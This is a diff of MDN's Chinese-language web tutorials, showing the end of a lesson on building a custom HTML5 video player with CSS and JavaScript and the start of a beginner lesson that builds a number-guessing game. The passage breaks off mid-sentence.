href="https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/">点击查看完成版本</a>.</li> + </ul> + </li> +</ul> + +<h4 id="探索_CSS">探索 CSS</h4> + +<p>现在打开CSS文件来查看里面的内容。例子中的CSS样式并不是很复杂, 我们突出了最主要的一部分。首先注意<code>.controls</code> 的样式:</p> + +<pre class="brush: css">.controls { + visibility: hidden; + opacity: 0.5; + width: 400px; + border-radius: 10px; + position: absolute; + bottom: 20px; + left: 50%; + margin-left: -200px; + background-color: black; + box-shadow: 3px 3px 5px black; + transition: 1s all; + display: flex; +} + +.player:hover .controls, player:focus .controls { + opacity: 1; +} +</pre> + +<ul> + <li>我们从设置为<code>hidden</code>的自定义控件{{cssxref("visibility")}}开始。稍后在我们的JavaScript中, 我们将控件设置为 <code>visible</code>, 并且从<code><video></code> 元素中移除<code>controls</code> 属性。这是因为, 如果JavaScript由于某种原因没有加载, 用户依然可以使用原生的控件播放视频。</li> + <li>默认情况下,我们将控件的<code>opacity</code>设置为0.5 {{cssxref("opacity")}},这样当您尝试观看视频时,它们就不会分散注意力。 只有当您将鼠标悬停/聚焦在播放器上时,控件才会完全不透明。</li> + <li>我们使用Flexbox({{cssxref("display")}}: flex)布置控制栏内的按钮,以简化操作。</li> +</ul> + +<p>接下来,让我们看看我们的按钮图标:</p> + +<pre class="brush: css">@font-face { + font-family: 'HeydingsControlsRegular'; + src: url('fonts/heydings_controls-webfont.eot'); + src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'), + url('fonts/heydings_controls-webfont.woff') format('woff'), + url('fonts/heydings_controls-webfont.ttf') format('truetype'); + font-weight: normal; + font-style: normal; +} + +button:before { + font-family: HeydingsControlsRegular; + font-size: 20px; + position: relative; + content: attr(data-icon); + color: #aaa; + text-shadow: 1px 1px 0px black; +}</pre> + +<p>首先在CSS的最上方我们使用 {{cssxref("@font-face")}} 块来导入自定义Web字体。这是一种图标字体 —— 字母表中的所有字符都是各种常用图标,你可以尝试在程序中调用。</p> + +<p>接下来,我们使用这些内容来显示每个按钮上的图标:</p> + +<ul> + <li>我们使用 {{cssxref("::before")}} 选择器在每个 {{htmlelement("button")}} 元素之前显示内容。</li> + <li>我们使用 {{cssxref("content")}} 属性将各情况下要显示的内容设置为 <code><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">data-icon</a></code> 属性的内容。例如在播放按钮的情况下,<code><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">data-icon </a></code>包含大写的“P”。</li> + <li>我们使用 {{cssxref("font-family")}} 将自定义Web字体应用于我们的按钮上。在该字体中“P”对应的是“播放”图标,因此播放按钮上显示“播放”图标。</li> +</ul> + +<p>图标字体非常酷有很多原因 —— 减少HTTP请求,因为您不需要将这些图标作为图像文件下载。同时具有出色的可扩展性,以及您可以使用文本属性来设置它们的样式 —— 例如 {{cssxref("color")}} 和 {{cssxref("text-shadow")}}。</p> + +<p>最后让我们来看看进度条的 CSS:</p> + +<pre class="brush: css">.timer { + line-height: 38px; + font-size: 10px; + font-family: monospace; + text-shadow: 1px 1px 0px black; + color: white; + flex: 5; + position: relative; +} + +.timer div { + position: absolute; + background-color: rgba(255,255,255,0.2); + left: 0; + top: 0; + width: 0; + height: 38px; + z-index: 2; +} + +.timer span { + position: absolute; + z-index: 3; + left: 19px; +}</pre> + +<ul> + <li>我们将外部 <code>.timer</code> <code><div></code> 设为flex:5,这样它占据了控件栏的大部分宽度。 我们还设置 {{cssxref("position")}}<code>: relative</code>,这样我们就可以根据它的边界方便地定位元素,而不是{{htmlelement("body")}} 元素的边界。</li> + <li>内部<code> <div> </code> <code>position:absolute</code> 绝对定位于外部 <code><div></code> 的顶部。 它的初始宽度为0,因此根本无法看到它。随着视频的播放,JavaScript将动态的增加其宽度。</li> + <li><code><span></code> 也绝对位于计时器/进度条 <code>timer</code> 栏的左侧附近。</li> + <li>我们还对内部 <code><div></code> 和 <code><span></code> 定义适当数值的 {{cssxref("z-index")}} ,以便进度条显示在最上层,内部<code> <div></code> 显示在下层。 这样,我们确保我们可以看到所有信息 —— 一个box不会遮挡另一个。</li> +</ul> + +<h3 id="实现_JavaScript">实现 JavaScript</h3> + +<p>我们已经有了一个相当完整的 HTML 和CSS 接口;现在我们只需要调通所有按钮以使控件正常工作。</p> + +<ol> + <li> + <p>在与 index.html 文件相同的目录下创建新的JavaScript文件。命名为 <code>custom-player.js</code>。</p> + </li> + <li> + <p>在此文件的顶部,插入以下代码:</p> + + <pre class="brush: js">var media = document.querySelector('video'); +var controls = document.querySelector('.controls'); + +var play = document.querySelector('.play'); +var stop = document.querySelector('.stop'); +var rwd = document.querySelector('.rwd'); +var fwd = document.querySelector('.fwd'); + +var timerWrapper = document.querySelector('.timer'); +var timer = document.querySelector('.timer span'); +var timerBar = document.querySelector('.timer div'); +</pre> + + <p>这里我们创建变量来保存对我们想要操作的所有对象的引用。有如下三组:</p> + + <ul> + <li> <code><video></code> 元素,和控制栏。</li> + <li>播放/暂停,停止,快退,和快进按钮。</li> + <li>进度条外面的 <code><div></code>,数字计时器的 <code><span></code>,以及内部的 <code><div></code> 会随着视频播放逐渐变宽。</li> + </ul> + </li> + <li> + <p>接下来,在代码的底部插入以下内容:</p> + + <pre class="brush: js">media.removeAttribute('controls'); +controls.style.visibility = 'visible';</pre> + + <p>这两行从视频中删除默认浏览器控件,并使自定义控件可见。</p> + </li> +</ol> + +<h4 id="播放和暂停视频">播放和暂停视频</h4> + +<p>让我们实现或许是最重要的控制——播放/暂停按钮。</p> + +<ol> + <li> + <p>首先,将以下内容添加到您代码的底部,以便于在单击播放按钮时调用 <code>playPauseMedia()</code>函数:</p> + + <pre class="brush: js">play.addEventListener('click', playPauseMedia); +</pre> + </li> + <li> + <p>现在定义 <code>playPauseMedia()</code> 函数——再次添加以下内容到您代码底部:</p> + + <pre class="brush: js">function playPauseMedia() { + if(media.paused) { + play.setAttribute('data-icon','u'); + media.play(); + } else { + play.setAttribute('data-icon','P'); + media.pause(); + } +}</pre> + + <p><span class="tlid-translation translation" lang="zh-CN"><span title="">我们使用if语句来检查</span></span>视频<span class="tlid-translation translation" lang="zh-CN"><span title="">是否暂停。如果</span></span>视频<span class="tlid-translation translation" lang="zh-CN"><span title="">已暂停,</span></span>{{domxref("HTMLMediaElement.paused")}} 属性将返回 true,任何视频没有播放的时间,包括第一次加载时处于0的时间段都是视频暂停状态。如果已暂停,我们把play按钮的 <code>data-icon</code> 属性值设置成"u", 用以表示 "暂停" 按钮图标,并且调用{{domxref("HTMLMediaElement.play()")}} 函数播放视频。</p> + + <p>点击第二次,按钮将会切换回去——"播放"按钮图标将会再次显示,并且视频将会被{{domxref("HTMLMediaElement.paused()")}} 函数暂停。</p> + </li> +</ol> + +<h4 id="暂停视频">暂停视频</h4> + +<ol> + <li> + <p>接下来,让我们添加处理视频停止的方法。添加以下的 <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener() </a></code>行在你之前添加的内容的下面:</p> + + <pre class="brush: js">stop.addEventListener('click', stopMedia); +media.addEventListener('ended', stopMedia); +</pre> + + <p>{{event("click")}} 事件很明显——我们想要在点击停止按钮的时候停止视频通过运行我们的 <code>stopMedia()</code> 函数。然而我们也希望停止视频当视频播放完成时——由{{event("ended")}} 事件标记,所以我们也会设置一个监听器在此事件触发时运行函数。</p> + </li> + <li> + <p>接下来,让我们定义 <code>stopMedia()</code>—— 在 <code>playPauseMedia() 后面</code>添加以下函数:</p> + + <pre>function stopMedia() { + media.pause(); + media.currentTime = 0; + play.setAttribute('data-icon','P'); +} +</pre> + + <p>在 HTMLMediaElement API 中没有 <code>stop()</code> 方法——等效的办法是先用 <code>pause()</code> 暂停视频,然后设置{{domxref("HTMLMediaElement.currentTime","currentTime")}} 属性为0。设置 <code>currentTime</code> 的值(单位:秒)将会立刻使视频跳到该位置。</p> + + <p>之后要做的事是把显示的图标设置成“播放”图标。无论视频使暂停还是正在播放,您都希望它随后可以播放。</p> + </li> +</ol> + +<h4 id="探索快进和快退">探索快进和快退</h4> + +<p>有许多方法可以实现快退和快进功能;在这里,我们向您展示了一种相对复杂的方式,当按意外顺序按下不同的按钮时,它不会中断。</p> + +<ol> + <li> + <p>首先,在前面的代码之下添加以下两个<code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>:</p> + + <pre class="brush: js">rwd.addEventListener('click', mediaBackward); +fwd.addEventListener('click', mediaForward); +</pre> + </li> + <li> + <p>现在转到事件处理函数 - 在以前的函数下面添加以下代码来定义<code>mediaBackward()</code>和<code>mediaForward()</code>:</p> + + <pre class="brush: js">var intervalFwd; +var intervalRwd; + +function mediaBackward() { + clearInterval(intervalFwd); + fwd.classList.remove('active'); + + if(rwd.classList.contains('active')) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + media.play(); + } else { + rwd.classList.add('active'); + media.pause(); + intervalRwd = setInterval(windBackward, 200); + } +} + +function mediaForward() { + clearInterval(intervalRwd); + rwd.classList.remove('active'); + + if(fwd.classList.contains('active')) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + media.play(); + } else { + fwd.classList.add('active'); + media.pause(); + intervalFwd = setInterval(windForward, 200); + } +} +</pre> + + <p>您会注意到,首先我们初始化两个变量 - intervalFwd和intervalRwd - 您将在后面发现它们的用途。</p> + + <p>让我们逐步浏览<code>mediaBackward()</code>(<code>mediaForward()</code>的功能性完全相同,但效果相反):</p> + + <ol> + <li>我们清除在快进功能上设置的所有classes和intervals ––这样做是因为如果我们在按下<code>fwd</code>(快进)按钮后再按下<code>rwd</code>(快退)按钮,就可以取消任何快进的功能并将其替换为快退功能。如果我们试图同时做到这两点,播放器就会暂停。</li> + <li>使用<code>if</code>语句检查是否已在<code>rwd</code>按钮上设置了用来指示它已被按下的<code>active</code>类。{{domxref("classList")}}是一个非常方便的属性,存在于每个元素上 ––它包含元素上设置的所有类的列表,以及添加/删除类的方法等。使用<code>classList.contains()</code>方法检查列表是否包含<code>active</code>类。这将返回布尔值<code>true/false</code>结果。</li> + <li>如果在<code>rwd</code>按钮上设置了<code>active</code>,我们使用<code>classList.remove()</code>删除它,清除第一次按下按钮时设置的间隔(参见下面的更多解释),并使用{{domxref("HTMLMediaElement.play()")}}取消快退并开始正常播放视频。</li> + <li>如果尚未设置,使用<code>classList.add()</code>将<code>active</code>类添加到<code>rwd</code>按钮,使用{{domxref("HTMLMediaElement.pause()")}}暂停视频,然后设置<code>intervalRwd</code>变量为{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}的调用。调用时,<code>setInterval()</code>会创建一个活动间隔,这意味着它每隔x毫秒运行一个作为第一个参数给出的函数,其中x是第二个参数的值。 所以这里我们每200毫秒运行一次<code>windBackward()</code>函数 ––我们将使用此函数不断向后滚动(快退动作)视频。要停止{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}运行,你必须调用{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}},给它识别要清除的间隔的名称,在本例中是变量名称intervalRwd(请参阅函数中较早的clearInterval()调用)。</li> + </ol> + </li> + <li> + <p>最后,对于本节,定义在setInterval()调用中需要调用的windBackward()和windForward()函数。在以上两个函数下面添加以下内容:</p> + + <pre class="brush: js">function windBackward() { + if(media.currentTime <= 3) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + stopMedia(); + } else { + media.currentTime -= 3; + } +} + +function windForward() { + if(media.currentTime >= media.duration - 3) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + stopMedia(); + } else { + media.currentTime += 3; + } +}</pre> + + <p>同样,我们将完成这些功能中的第一个,因为它们几乎完全相同,但彼此相反。在<code>windBackward()</code>中,我们执行以下操作 ––请记住,当间隔处于活动状态时,此函数每200毫秒运行一次。</p> + + <ol> + <li>我们从一个<code>if</code>语句开始,该语句检查当前时间是否小于3秒,即,如果再倒退三秒将使其超过视频的开始。这会导致奇怪的行为,所以如果是这种情况,我们通过调用<code>stopMedia()</code>来停止视频播放,从倒带按钮中删除<code>active</code>类,并清除<code>intervalRwd</code>间隔以停止快退功能。如果我们没有做到最后一步,视频将永远保持快退。</li> + <li>如果当前时间不在视频开始的3秒内,我们只需通过执行<code>media.currentTime-=3</code>从当前时间中删除三秒。因此,实际上,我们将视频快退3秒,每200毫秒一次。</li> + </ol> + </li> +</ol> + +<h4 id="更新已用时间">更新已用时间</h4> + +<p>我们要实施的媒体播放器的最后一块是显示的时间。为此,我们将运行一个函数,以便每次在<video>元素上触发 {{event("timeupdate")}}事件时更新时间显示。此事件触发的频率取决于您的浏览器,CPU电源等(<a href="http://stackoverflow.com/questions/9678177/how-often-does-the-timeupdate-event-fire-for-an-html5-video">see this stackoverflow post</a>)。</p> + +<p>在代码下方添加<code>addEventListener()</code>行:</p> + +<pre class="brush: js">media.addEventListener('timeupdate', setTime);</pre> + +<p>现在定义<code>setTime()</code>函数。在文件底部添加以下内容:</p> + +<pre class="brush: js">function setTime() { + var minutes = Math.floor(media.currentTime / 60); + var seconds = Math.floor(media.currentTime - minutes * 60); + var minuteValue; + var secondValue; + + if (minutes < 10) { + minuteValue = '0' + minutes; + } else { + minuteValue = minutes; + } + + if (seconds < 10) { + secondValue = '0' + seconds; + } else { + secondValue = seconds; + } + + var mediaTime = minuteValue + ':' + secondValue; + timer.textContent = mediaTime; + + var barLength = timerWrapper.clientWidth * (media.currentTime/media.duration); + timerBar.style.width = barLength + 'px'; +} +</pre> + +<p>这是一个相当长的函数,所以让我们一步一步地完成它:</p> + +<ol> + <li>首先,我们计算{{domxref("HTMLMediaElement.currentTime")}} 值中的分钟数和秒数。</li> + <li>然后我们初始化另外两个变量 ––<code>minuteValue</code>和<code>secondValue</code>。</li> + <li>两个<code>if</code>语句计算出分钟数和秒数是否小于10.如果是这样,它们会在类似数值时钟显示工作的方式上为值添加前置的零。</li> + <li>要显示的实际时间值设置为<code>minuteValue</code>加上冒号字符加<code>secondValue</code>。</li> + <li>计时器的{{domxref("Node.textContent")}}值设置为时间值,因此它显示在UI中。</li> + <li>我们应该设置内部<code><div></code>的长度是通过首先计算外部<code><div></code>的宽度来计算出来的(任何元素的{{domxref("HTMLElement.clientWidth", "clientWidth")}} 属性将包含它的长度),然后乘以{{domxref("HTMLMediaElement.currentTime")}}除以媒体的总{{domxref("HTMLMediaElement.duration")}}。</li> + <li>我们将内部<code><div></code>的宽度设置为等于计算的条形长度加上“px”,因此它将设置为该像素数</li> +</ol> + +<h4 id="修复播放和暂停">修复播放和暂停</h4> + +<p>还有一个问题需要修复。如果在快退或快进功能激活时按下播放/暂停或停止按钮,它们就不起作用。我们如何修复它以便取消<code>rwd / fwd</code>按钮功能并按照您的预期播放/停止视频?这很容易解决。</p> + +<p>首先,在<code>stopMedia()</code>函数中添加以下行 ––任何地方都可以:</p> + +<pre class="brush: js">rwd.classList.remove('active'); +fwd.classList.remove('active'); +clearInterval(intervalRwd); +clearInterval(intervalFwd); +</pre> + +<p>现在再次添加相同的行(上面的四行)到<code>playPauseMedia()</code>函数的最开头(就在<code>if</code>语句的开始之前)。</p> + +<p>此时,您可以删除<code>windBackward()</code>和<code>windForward()</code>函数中的等效行,因为该函数已在<code>stopMedia()</code>函数中实现。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:您还可以通过创建运行这些行的单独函数来进一步提高代码的效率,然后在需要的任何地方调用它,而不是在代码中多次重复这些行。但是我们会把这些留给你自己。</p> +</div> + +<h2 id="小结">小结</h2> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">我想我们已经在这篇文章中教过你足够多了。使用</span></span>{{domxref("HTMLMediaElement")}} <span class="tlid-translation translation" lang="zh-CN"><span title="">API可以为创建简单的视频和音频播放器提供丰富的可用功能,然而这只是冰山一角。</span> <span title="">有关更复杂和有趣功能的链接,请参阅下面的“另请参阅”部分。</span></span></p> + +<p><span class="tlid-translation translation" lang="zh-CN"><span title="">以下是一些有关如何增强我们构建的现有示例的建议:</span></span></p> + +<ol> + <li><span class="tlid-translation translation" lang="zh-CN"><span title="">如果视频是一小时或更长时间(嗯,它不会显示小时;只有几分钟和几秒),当前显示时间会中断。</span> <span title="">你能弄清楚如何更改示例以使其显示小时数吗?</span></span></li> + <li> + <p><span class="tlid-translation translation" lang="zh-CN"><span title="">由于 <code><audio> </code>元素具有相同的{{domxref("HTMLMediaElement")}}功能,因此您可以轻松地将此播放器用于<code> <audio> </code>元素。</span> <span title="">试着这样做。</span></span></p> + </li> + <li> + <p><span class="tlid-translation translation" lang="zh-CN"><span title="">你能找到一种方法将计时器内部的<code> <div> </code>元素转换为真正的搜索条/ 滑动条- 也就是说,当你点击条形图上的某个位置时,它会跳转到视频播放中的相对位置吗?</span></span> <span class="tlid-translation translation" lang="zh-CN"><span title="">作为提示,您可以通过</span></span><code><a href="/ch-ZN/docs/Web/API/Element/getBoundingClientRect">getBoundingClientRect()</a></code> <span class="tlid-translation translation" lang="zh-CN"><span title="">方法找出元素左/右和上/下侧的X和Y值</span></span> , 而且你可以通过 {{domxref("Document")}} 对象调用的click事件的事件对象找到鼠标单击的坐标。举个栗子:</p> + + <pre class="brush: js">document.onclick = function(e) { + console.log(e.x) + ',' + console.log(e.y) +}</pre> + </li> +</ol> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{domxref("HTMLMediaElement")}}</li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">视频和音频内容</a>— <video>和<audio>的简单指南.</li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a> — detailed guide to delivering media inside the browser, with many tips, tricks, and links to further more advanced tutorials.</li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio 与 video 操作</a> — 操作audio 和 video 的详细指南,例如:使用 <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, 等等。</li> + <li>{{htmlelement("video")}} and {{htmlelement("audio")}} reference pages.</li> + <li> + <p><a href="/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a>.</p> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/a_first_splash/index.html b/files/zh-cn/learn/javascript/first_steps/a_first_splash/index.html new file mode 100644 index 0000000000..d54ec0c4ed --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/a_first_splash/index.html @@ -0,0 +1,744 @@ +--- +title: JavaScript 初体验 +slug: Learn/JavaScript/First_steps/A_first_splash +tags: + - JavaScript + - 事件 + - 函数 + - 初学者 + - 变量 + - 学习 + - 操作符 + - 教程 + - 添加 +translation_of: Learn/JavaScript/First_steps/A_first_splash +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">现在,你已经学到了一些 JavaScript 的理论知识,以及用 JavaScript 能够做些什么。下面我们会提供一个讲解 Javascript 基本特性的 Crash Course,课程是一个全面的实践性项目——循序渐进地构建一个简易版“猜数字”游戏。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础知识,初步理解HTML和CSS,了解JavaScript。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>获得编写JavaScript的初体验,初步了解编写JavaScript时会涉及哪些内容。</td> + </tr> + </tbody> +</table> + +<p>我们并不要求你立刻完整理解所有代码,当前只是概括地介绍一些抽象的概念,并且让你对JavaScript(以及其他编程语言)工作原理有一定的认知。所有具体特性将在后续文章中详细介绍。</p> + +<div class="note"> +<p>注: 可以看到,JavaScript 中许多代码特性和其他编程语言是一致的( 函数、循环,等等)。尽管代码语法不尽相同,但概念基本类似。</p> +</div> + +<h2 id="像程序员一样思考">像程序员一样思考</h2> + +<p><span lang="zh-CN">学习编程,语法本身并不</span><span lang="zh-CN">难,真正困难的是如何应用它来解决现实世界的问题。 你要开始像程序员那样思考。一般来讲,这种思考包括了解你程序运行的目的,为达到该目的应选定的代码类型,以及如何使这些代码协同运行。</span></p> + +<p><span id="result_box" lang="zh-CN">为达成这一点,我们需要努力编程,获取语法经验,注重实践,再加一点创造力,几项缺一不可。代码写的越多,就会完成的越优秀。虽然我们不能保证你在5分钟内拥有“程序员大脑”,但是整个课程中你将得到大量机会来训练程序员思维。</span></p> + +<p><span id="result_box" lang="zh-CN">请牢记这一点,然后开始观察本文的示例,体会一下将其分解为可操作任务的大体过程。</span></p> + +<h2 id="示例——猜数字游戏">示例——猜数字游戏</h2> + +<p>本文将向你演示如何构建下面的小游戏:</p> + +<div class="hidden"> +<h6 id="Top_hidden_code">Top hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + +<head> + <meta charset="utf-8"> + <title>猜数字游戏</title> + <style> + html { + font-family: sans-serif; + } + + body { + width: 50%; + max-width: 800px; + min-width: 480px; + margin: 0 auto; + } + + .lastResult { + color: white; + padding: 3px; + } + </style> +</head> + +<body> + <h1>猜数字游戏</h1> + <p>我刚才随机选定了一个100以内的自然数。看你能否在 10 次以内猜中它。每次我都会告诉你所猜的结果是高了还是低了。</p> + <div class="form"> <label for="guessField">请猜数: </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="确定" class="guessSubmit"> </div> + <div class="resultParas"> + <p class="guesses"></p> + <p class="lastResult"></p> + <p class="lowOrHi"></p> + </div> +</body> +<script> + // 在此放置你的 JavaScript 代码 + let randomNumber = Math.floor(Math.random() * 100) + 1; + const guesses = document.querySelector('.guesses'); + const lastResult = document.querySelector('.lastResult'); + const lowOrHi = document.querySelector('.lowOrHi'); + const guessSubmit = document.querySelector('.guessSubmit'); + const guessField = document.querySelector('.guessField'); + let guessCount = 1; + let resetButton; + + function checkGuess() { + let userGuess = Number(guessField.value); + if (guessCount === 1) { + guesses.textContent = '上次猜的数: '; + } + + guesses.textContent += userGuess + ' '; + + if (userGuess === randomNumber) { + lastResult.textContent = '恭喜你!猜对了!'; + lastResult.style.backgroundColor = 'green'; + lowOrHi.textContent = ''; + setGameOver(); + } else if (guessCount === 10) { + lastResult.textContent = '!!!GAME OVER!!!'; + lowOrHi.textContent = ''; + setGameOver(); + } else { + lastResult.textContent = '你猜错了!'; + lastResult.style.backgroundColor = 'red'; + if(userGuess < randomNumber) { + lowOrHi.textContent='刚才你猜低了!' ; + } else if(userGuess > randomNumber) { + lowOrHi.textContent = '刚才你猜高了!'; + } + } + + guessCount++; + guessField.value = ''; + } + + guessSubmit.addEventListener('click', checkGuess); + + function setGameOver() { + guessField.disabled = true; + guessSubmit.disabled = true; + resetButton = document.createElement('button'); + resetButton.textContent = '开始新游戏'; + document.body.appendChild(resetButton); + resetButton.addEventListener('click', resetGame); + } + + function resetGame() { + guessCount = 1; + const resetParas = document.querySelectorAll('.resultParas p'); + for(var i = 0 ; i < resetParas.length ; i++) { + resetParas[i].textContent=''; + } + + resetButton.parentNode.removeChild(resetButton); + guessField.disabled = false; + guessSubmit.disabled = false; + guessField.value=''; + guessField.focus(); + lastResult.style.backgroundColor='white'; + randomNumber=Math.floor(Math.random() * 100) + 1; + } +</script> + +</html> +</pre> +</div> + +<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>先玩上几盘,在继续之前先熟悉一下这个游戏。</p> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>假设你的老板给你布置了以下游戏设计任务要求:</span></span></p> + +<blockquote> +<p>我想让你开发一个猜数字游戏。游戏应随机选择一个 100 以内的自然数, 然后邀请玩家在 10 轮以内猜出这个数字。每轮后都应告知玩家的答案正确与否,如果出错了,则告诉他数字是低了还是高了。并且应显示出玩家前一轮所猜的数字。一旦玩家猜对,或者用尽所有机会,游戏将结束。游戏结束后,可以让玩家选择再次开始。</p> +</blockquote> + +<p><span id="result_box" lang="zh-CN"><span title="Upon looking at this brief, the first thing we can do is to start breaking it down into simple actionable tasks, in as much of a programmer mindset as possible: + + ">看到这个要求,首先我们要做的是将其分解成简单的可操作的任务,尽可能从程序员的思维去思考:</span></span></p> + +<ol> + <li>随机<span id="result_box" lang="zh-CN"><span title="Generate a random number between 1 and 100. + ">生成一个 100 以内的自然数。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Record the turn number the player is on.">记录玩家当前的轮数。</span><span title="Start it on 1. + ">从 1 开始。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Provide the player with a way to guess what the number is. + ">为玩家提供一种猜测数字的方法。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Once a guess has been submitted first record it somewhere so the user can see their previous guesses. + ">一旦有结果提交,先将其记录下来,以便用户可以看到他们先前的猜测。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Next, check whether it is the correct number. + ">然后检查它是否正确。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="If it is correct: + ">如果正确:</span></span> + <ol> + <li><span id="result_box" lang="zh-CN"><span title="Display congratulations message. + ">显示祝贺消息。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Stop the player from being able to enter more guesses (this would mess the game up). + ">阻止玩家继续猜测(这会使游戏混乱)。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Display control allowing the player to restart the game. + ">显示控件允许玩家重新开始游戏。</span></span></li> + </ol> + </li> + <li><span id="result_box" lang="zh-CN"><span title="If it is wrong and the player has turns left: + ">如果出错,并且玩家有剩余轮次:</span></span> + <ol> + <li><span id="result_box" lang="zh-CN"><span title="Tell the player they are wrong. + ">告诉玩家他们错了。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Allow them to enter another guess. + ">允许他们输入另一个猜测。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Increment the turn number by 1. + ">轮数加 1。</span></span></li> + </ol> + </li> + <li><span id="result_box" lang="zh-CN"><span title="If it is wrong and the player has no turns left: + ">如果出错,并且玩家没有剩余轮次:</span></span> + <ol> + <li><span id="result_box" lang="zh-CN"><span title="Tell the player it is game over. + ">告诉玩家游戏结束。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Stop the player from being able to enter more guesses (this would mess the game up). + ">阻止玩家继续猜测(这会使游戏混乱)。</span></span></li> + <li><span id="result_box" lang="zh-CN"><span title="Display control allowing the player to restart the game. + ">显示控件允许玩家重新开始游戏。</span></span></li> + </ol> + </li> + <li><span id="result_box" lang="zh-CN"><span title="Once the game restarts, make sure the game logic and UI are completely reset, then go back to step 1. + +">一旦游戏重启,确保游戏的逻辑和UI完全重置,然后返回步骤1。</span></span></li> +</ol> + +<p><span id="result_box" lang="zh-CN"><span title="Let's now move forward, looking at how we can turn these steps into code, building up the example, and exploring JavaScript features as we go.">让我们继续,看看我们如何将这些步骤转换为代码,构建这个示例,从而探索 JavaScript 的功能。</span></span></p> + +<h3 id="初始设置">初始设置</h3> + +<p><span class="short_text" id="result_box" lang="zh-CN">本教程开始前,请将</span> <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> 文件保存下来。同时<span id="result_box" lang="zh-CN">在文本编辑器和Web浏览器中将其打开,可以看到一个简单的标题,一段游戏说明,和一个用于输入猜测的表单,此时表单不会执行任何操作。</span></p> + +<p><span class="short_text" id="result_box" lang="zh-CN">我们将在 HTML 底部的</span><span class="short_text" lang="zh-CN"> </span> {{htmlelement("script")}} <span class="short_text" lang="zh-CN"> 元素中添加新的代码:</span></p> + +<pre class="brush: html"><script> + + <span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> 开始编写 JavaScript 代码</span></span> + +</script> +</pre> + +<h3 id="添加变量以保存数据">添加变量以保存数据</h3> + +<p><span class="short_text" id="result_box" lang="zh-CN">让我们开始吧。首先,在 </span> {{htmlelement("script")}} <span class="short_text" lang="zh-CN"> 元素中添加以下代码:</span></p> + +<pre class="brush: js">let randomNumber = Math.floor(Math.random() * 100) + 1; + +const guesses = document.querySelector('.guesses'); +const lastResult = document.querySelector('.lastResult'); +const lowOrHi = document.querySelector('.lowOrHi'); + +const guessSubmit = document.querySelector('.guessSubmit'); +const guessField = document.querySelector('.guessField'); + +let guessCount = 1; +let resetButton;</pre> + +<p><span id="result_box" lang="zh-CN">这段代码设置了存储数据的变量和常量以供程序使用。变量本质上是值(例如数字或字符串)</span><span lang="zh-CN">的容器。 你可以使用关键字 <code>let</code> (旧代码中使用 <code>var</code>)和一个名字来创建变量(请参阅 <a 